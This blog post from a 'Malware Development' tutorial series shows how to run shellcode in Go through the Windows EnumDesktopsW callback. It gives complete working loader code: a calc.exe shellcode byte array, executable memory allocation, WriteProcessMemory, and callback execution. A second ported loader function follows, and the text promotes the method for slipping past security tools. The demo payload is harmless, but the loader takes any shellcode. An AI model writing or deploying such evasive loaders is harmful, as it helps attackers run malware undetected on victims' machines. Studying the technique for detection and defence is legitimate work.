Home Malware Development 8 - Shellcode Injection via EnumDesktopsW (Golang)
Post
Cancel

Malware Development 8 - Shellcode Injection via EnumDesktopsW (Golang)

Introduction

Hello friends!

In this post we’ll be learning how to execute we can execute shellcode via Callback functions like EnumDesktopsW or SysEnumDesktops. I’ve already mentioned the callback functions in the second malware development post, there are tons of callbacks, so a lot of them have never been used in shellcode injection so it’s like “creating your own injection technique” as you also can use different techniques to allocate and write our shellcode. If you wanna get a better overview of this you should take a look at the AlternativeShellcodeExec repo created by aahmad097, its repo contains most callbacks so it really helps.

Explanation

Before writing code we have to known what a callback function is.

The official Microsoft explanation says: “A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation. Some of the many DLL functions called with platform invoke require a callback function in managed code to run properly. Callback functions are ideal for use in situations in which a task is performed repeatedly. Another common usage is with enumeration functions, such as EnumFontFamilies, EnumPrinters, and EnumWindows in the Windows API”

They also recommend reading this official explanation to implement callback functions

Code

We just have to adapt the source code from here

In this lab we’ll use a simple calc.exe shellcode instead of a reverse shell or any other payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var shellcode = []byte{
  0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
  0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
  0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
  0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
  0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
  0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
  0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
  0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
  0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
  0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
  0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
  0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
  0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
  0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
  0xd7,
}

Let’s start by defining syscalls.

1
2
3
4
5
6
7
8
9
10
11
12
func main(){
  // Load DLLs
  user32 := windows.NewLazyDLL("user32.dll")
  kernel32 := windows.NewLazyDLL("kernel32.dll")

  // Import calls
  EnumDesktopsW := user32.NewProc("EnumDesktopsW")
  GetProcessWindowStation := user32.NewProc("GetProcessWindowStation")
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
}

Now allocate the memory.

1
2
3
4
5
6
address, _, _ := VirtualAlloc.Call(
  0,
  uintptr(len(shellcode)),
  windows.MEM_COMMIT | windows.MEM_RESERVE,
  windows.PAGE_EXECUTE_READWRITE,
)

Then we call WriteProcessMemory to copy shellcode to allocated address.

1
2
3
4
5
6
7
8
9
10
pHandle, _, _ := GetCurrentProcess.Call()
size := uintptr(len(shellcode))

fmt.Println("Calling WriteProcessMemory...")
WriteProcessMemory.Call(
  pHandle,
  address,
  uintptr(unsafe.Pointer(&shellcode[0])),
  uintptr(unsafe.Pointer(&size)),
)

And now the interesting part, we use EnumDesktopsW to execute the shellcode.

1
2
3
4
5
6
7
winProc, _, _ := GetProcessWindowStation.Call()
fmt.Println("Calling EnumDesktopsW...")

_, _, err := EnumDesktopsW.Call(winProc, address, 0)
if err != nil {
  log.Fatal(err)
}

So this is the final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main

/*

Author: D3Ext
Blog post: https://d3ext.github.io/malware-dev-8/

*/

import (
  "fmt"
  "log"
  "time"
  "unsafe"

  "golang.org/x/sys/windows"
)

var shellcode = []byte{
  0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
  0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
  0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
  0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
  0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
  0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
  0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
  0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
  0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
  0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
  0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
  0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
  0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
  0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
  0xd7,
}

func main(){

  // Load DLLs
  user32 := windows.NewLazyDLL("user32.dll")
  kernel32 := windows.NewLazyDLL("kernel32.dll")

  // Import calls
  EnumDesktopsW := user32.NewProc("EnumDesktopsW")
  GetProcessWindowStation := user32.NewProc("GetProcessWindowStation")
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  VirtualAlloc := kernel32.NewProc("VirtualAlloc")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")

  address, _, _ := VirtualAlloc.Call(
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )

  pHandle, _, _ := GetCurrentProcess.Call()
  size := uintptr(len(shellcode))

  fmt.Println("Calling WriteProcessMemory...")
  WriteProcessMemory.Call(
    pHandle,
    address,
    uintptr(unsafe.Pointer(&shellcode[0])),
    uintptr(unsafe.Pointer(&size)),
  )

  winProc, _, _ := GetProcessWindowStation.Call()
  fmt.Println("Calling EnumDesktopsW...")
  _, _, err := EnumDesktopsW.Call(winProc, address, 0)
  if err != nil {
    log.Fatal(err)
  }

  time.Sleep(10000 * time.Millisecond)
  fmt.Println("Success!")
}

Demo

I don’t know why but it always breaks after calling EnumDesktopsW, however the shellcode is executed and a calc.exe spawns. If I’m doing something wrong contact me to fix it as soon as possible.

Compile the code

Then we execute the program

Great! A calc.exe appeared so this technique works (ignoring the program fatal error)

References

1
2
3
4
https://learn.microsoft.com/en-us/dotnet/framework/interop/callback-functions
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdesktopsw
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
https://github.com/aahmad097/AlternativeShellcodeExec

Conclusion

Using Callback functions instead of well known API calls like CreateRemoteThread is a good option to avoid possible security measures. You also can combine this technique with other ones like direct syscalls or other ways to allocate or write the shellcode

Source code here

Go back to top

Edit

Some time after writing this post I discovered that there is an excellent project called GolangCallbackLoader which contains a lot of the callback functions but ported to Golang so check it out here. Congratulations to the author nu1r

This is his code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package TT

import (
	"syscall"
	"time"
	"unsafe"
)

var (
	timer int
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	CAL_SMONTHNAME1        = 0x00000015
	ENUM_ALL_CALENDARS     = 0xffffffff
	SORT_DEFAULT           = 0x0
)

var (
	kernel32                = syscall.MustLoadDLL("kernel32.dll")
	ntdll                   = syscall.MustLoadDLL("ntdll.dll")
	User32                  = syscall.MustLoadDLL("User32.dll")
	VirtualAlloc            = kernel32.MustFindProc("VirtualAlloc")
	EnumDesktopsW           = User32.MustFindProc("EnumDesktopsW")
	GetProcessWindowStation = User32.MustFindProc("GetProcessWindowStation")
	RtlMoveMemory           = ntdll.MustFindProc("RtlMoveMemory")
)

func Callback(shellcode []byte) {
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	Process, _, _ := GetProcessWindowStation.Call()
	EnumDesktopsW.Call(Process, addr, 0)
	time.Sleep(10000)
}

Bye!

This post is licensed under CC BY 4.0 by the author.